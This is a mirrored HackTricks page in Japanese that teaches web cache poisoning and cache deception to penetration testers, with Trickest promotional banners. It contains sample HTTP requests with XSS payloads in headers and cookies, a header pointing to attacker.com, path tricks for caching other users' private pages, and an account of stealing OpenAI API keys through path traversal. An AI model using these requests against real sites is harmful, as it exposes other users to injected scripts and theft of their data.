Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception/README.md

24 KiB
Raw Blame History

キャッシュ毒入れとキャッシュ欺瞞

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricks をサポートする他の方法:


Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築および 自動化 します。
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

違い

Webキャッシュ毒入れとWebキャッシュ欺瞞の違いは何ですか？

  • Webキャッシュ毒入れでは、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
  • Webキャッシュ欺瞞では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後攻撃者はこのコンテンツをキャッシュから取得します。

キャッシュ毒入れ

キャッシュ毒入れは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ提供される汚染された応答に依存します。

キャッシュ毒入れ攻撃の実行には、いくつかのステップが含まれます:

  1. キーのない入力の特定: これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返される応答を変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらはキャッシュを操作するために悪用される可能性があるからです。
  2. キーのない入力の悪用: キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して攻撃者に利益をもたらすようにサーバーの応答を変更するかを理解することです。
  3. 毒入れされた応答がキャッシュされることを確認する: 最後のステップは、操作された応答がキャッシュに保存されるようにすることです。これにより、キャッシュが毒入れされている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。

発見: HTTPヘッダーをチェック

通常、応答が キャッシュに保存されている 場合、それを示す ヘッダーがあります。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください: HTTPキャッシュヘッダー。

発見: キャッシュエラーコードをチェック

応答がキャッシュに保存されていると思われる場合、 不正なヘッダーを送信 してみることができます。これには ステータスコード400 が返されるはずです。その後、リクエストに通常アクセスし、 応答が400ステータスコード である場合、脆弱性があることがわかります（DoS攻撃さえ実行できます）。

詳細なオプションは次で見つけることができます:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

ただし、 この種のステータスコードがキャッシュされない場合もある ため、このテストは信頼できないかもしれません。

発見: キーのない入力を特定および評価

Param Miner を使用して、ページの応答を変更する可能性のある パラメータやヘッダーをブルートフォース することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するヘッダー X-Forwarded-For を使用しているかもしれません:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

悪意のある応答をバックエンドサーバーから引き出す

特定されたパラメータ/ヘッダーを確認し、それがどのようにサニタイズされているか、どこで反映されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますか（XSSを実行したり、自分が制御するJSコードをロードしたりしますか？DoSを実行しますか？...）

キャッシュされた応答を取得する

悪用できるページを特定し、どのパラメータ/ヘッダーを使用し、どのように悪用するかを特定したら、ページをキャッシュする必要があります。キャッシュされるリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。
応答のヘッダー**X-Cacheは非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値がmissになり、キャッシュされている場合は値がhitになります。
ヘッダーCache-Controlも興味深い情報です。リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます：Cache-Control: public, max-age=1800
もう1つの興味深いヘッダーはVaryです。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、ユーザーが狙っている被害者のUser-Agentを知っている場合、その特定のUser-Agentを使用しているユーザーのキャッシュを毒することができます。
キャッシュに関連するもう1つのヘッダーはAge**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。

リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があるため、被害者は同じヘッダーを使用する必要があります。常に異なるブラウザでキャッシュポイズニングをテストして機能しているかどうかを確認してください。

悪用の例

最も簡単な例

X-Forwarded-Forのようなヘッダーが応答でサニタイズされずに反映されています。
基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーがXSSを受けるようにできます：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

キャッシュ毒入れによるDoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

クッキー処理の脆弱性を悪用するためのウェブキャッシュ毒入れの使用

クッキーはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすためにそれを悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

注意：脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリアされる可能性があります。

パストラバーサルを使用したキャッシュ毒性によるAPIキーの盗難

この解説 は、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。 /share/* に一致するものは、CloudflareがURLを正規化せずにキャッシュするため、Webサーバーにリクエストが到達したときに行われました。

複数のヘッダーを使用してWebキャッシュ毒性の脆弱性を悪用する

時には、複数の未キー入力を悪用する必要があります。たとえば、X-Forwarded-Host を自分が制御するドメインに設定し、X-Forwarded-Scheme を http に設定すると、Open redirect を見つけることができるかもしれません。サーバーがすべてのHTTPリクエストをHTTPSに転送し、リダイレクトのドメイン名としてヘッダー X-Forwarded-Scheme を使用している場合。リダイレクト先のページをリダイレクトできます。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

限られた Vary ヘッダーを利用した攻撃

もし、X-Host ヘッダーがドメイン名を読み込むために使用されていることがわかり、しかしレスポンスの中の Vary ヘッダーが User-Agent を示している場合、被害者の User-Agent を外部に送信し、そのユーザーエージェントを使用してキャッシュを改ざんする方法を見つける必要があります。

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

GETリクエストを送信し、リクエストをURLと本文の両方に含めます。ウェブサーバーが本文からのものを使用している場合でも、キャッシュサーバーがURLからのものをキャッシュしていると、そのURLにアクセスする誰もが実際には本文からのパラメータを使用します。GitHubのウェブサイトでJames Kettleが見つけた脆弱性のように。

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

パラメータクローキング

たとえば、& の代わりに ; 文字を使用して、rubyサーバーでパラメータを分離することが可能です。これにより、キー付きのパラメータ値の中にキーのないパラメータ値を入れて悪用することができます。

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

HTTPリクエストスマグリングを悪用してHTTPキャッシュポイズニングを行う

HTTPリクエストスマグリングを悪用してキャッシュポイズニング攻撃を実行する方法についてこちらで学びます。

Webキャッシュポイズニングの自動テスト

Web Cache Vulnerability Scannerを使用して、Webキャッシュポイズニングを自動的にテストすることができます。多くの異なる技術をサポートし、高度にカスタマイズ可能です。

使用例: wcvs -u example.com


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

脆弱な例

Apache Traffic Server (CVE-2021-27577)

ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました（フラグメントを無視）。そのため、リクエスト /#/../?r=javascript:alert(1) はバックエンドに /#/../?r=javascript:alert(1) として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれていました。

GitHub CP-DoS

content-typeヘッダーに誤った値を送信すると、405のキャッシュされた応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。

GitLab + GCP CP-DoS

GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。GCPバケットは x-http-method-override ヘッダーをサポートしていました。そのため、ヘッダー x-http-method-override: HEAD を送信し、キャッシュを空の応答本体に返すように毒化することができました。また、メソッド PURGE もサポートしていました。

Rack Middleware (Ruby on Rails)

Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使用されます。Rackコードの目的は、x-forwarded-scheme ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー x-forwarded-scheme: http が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは X-forwarded-host ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトするかもしれません。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。

403とストレージバケット

Cloudflareは以前、403の応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、キャッシュされた403の応答が返されました。Cloudflareは403の応答をキャッシュしなくなりましたが、この動作は他のプロキシサービスでも引き続き存在する可能性があります。

キー付きパラメータの注入

キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの size パラメータをキャッシュしました。しかし、URLエンコードされたパラメータのバージョン（たとえば、siz%65）が誤った値とともに送信された場合、キャッシュキーは正しい size パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の size パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。

ユーザーエージェントルール

一部の開発者は、サーバー負荷を管理するために、FFUFやNucleiなどの高トラフィックツールと一致するユーザーエージェントを持つリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。

不正なヘッダーフィールド

RFC7230 はヘッダー名に許容される文字を指定しています。指定された tchar 範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiのようなサーバーは、cache-control ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。\ のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。

新しいヘッダーの検出

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

キャッシュ欺瞞

キャッシュ欺瞞の目標は、クライアントがキャッシュに保存されるリソースを、それらの機密情報を持つまま読み込むことです。

まず、.css、.js、.pngなどの拡張子は通常、キャッシュに保存されるように構成されています。したがって、www.example.com/profile.php/nonexistent.js にアクセスすると、.js 拡張子が見えるため、キャッシュはおそらく応答を保存します。しかし、アプリケーションが www.example.com/profile.php に保存されている機密ユーザー内容を再生している場合、他のユーザーからその内容を盗むことができます。

他にテストすること:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • _.avif**などのあまり知られていない拡張子を使用します。

非常に明確な例は、この解説で見つけることができます: https://hackerone.com/reports/593712。
この例では、http://www.example.com/home.php/non-existent.css のような存在しないページを読み込むと、http://www.example.com/home.php の内容（ユーザーの機密情報を含む）が返され、キャッシュサーバーが結果を保存します。
その後、攻撃者は自分のブラウザで http://www.example.com/home.php/non-existent.css にアクセスし、以前にアクセスしたユーザーの機密情報を観察することができます。

キャッシュプロキシは、ファイルを拡張子（.css）に基づいてキャッシュするように構成されている必要があり、コンテンツタイプに基づいてではないことに注意してください。例えば、http://www.example.com/home.php/non-existent.css は text/css MIMEタイプ（_.css_ファイルの期待されるタイプ）ではなく、text/html コンテンツタイプを持っています。

HTTPリクエストスマグリングを悪用してキャッシュ欺瞞攻撃を実行する方法についてこちらで学びます。

自動ツール

  • toxicache: Golangスキャナーは、URLのリスト内でWebキャッシュ毒性の脆弱性を見つけ、複数のインジェクション技術をテストします。

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）!

HackTricksをサポートする他の方法：